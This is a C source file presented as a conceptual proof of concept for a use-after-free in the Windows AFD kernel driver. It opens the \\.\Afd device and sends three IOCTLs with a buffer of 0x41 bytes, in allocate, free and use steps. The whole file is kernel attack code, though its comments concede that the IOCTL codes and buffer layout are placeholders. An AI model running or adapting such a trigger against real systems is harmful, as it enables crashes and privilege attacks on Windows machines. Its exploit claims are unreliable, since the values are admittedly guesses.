#include <windows.h>
#include <stdio.h>
// This is a conceptual Proof of Concept for triggering the UAF.
// Actual exploitation requires precise memory layout manipulation.
void TriggerUAF() {
HANDLE hDevice;
DWORD bytesReturned;
// Open a handle to the AFD driver
hDevice = CreateFileA("\\\\.\\Afd",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device. Error: %d\n", GetLastError());
return;
}
printf("[+] Device handle opened.\n");
// Input buffer crafted to trigger the vulnerable path
// Specific IOCTL values and buffer structures depend on the patch diff
BYTE triggerBuffer[0x20];
memset(triggerBuffer, 0x41, sizeof(triggerBuffer));
// Step 1: Allocate object
DeviceIoControl(hDevice, 0x00012000, triggerBuffer, sizeof(triggerBuffer), NULL, 0, &bytesReturned, NULL);
// Step 2: Free object (UAF trigger)
DeviceIoControl(hDevice, 0x00012004, triggerBuffer, sizeof(triggerBuffer), NULL, 0, &bytesReturned, NULL);
// Step 3: Use object (Crash or Exploit)
DeviceIoControl(hDevice, 0x00012008, triggerBuffer, sizeof(triggerBuffer), NULL, 0, &bytesReturned, NULL);
printf("[+] Exploit trigger sent.\n");
CloseHandle(hDevice);
}
int main() {
TriggerUAF();
return 0;
}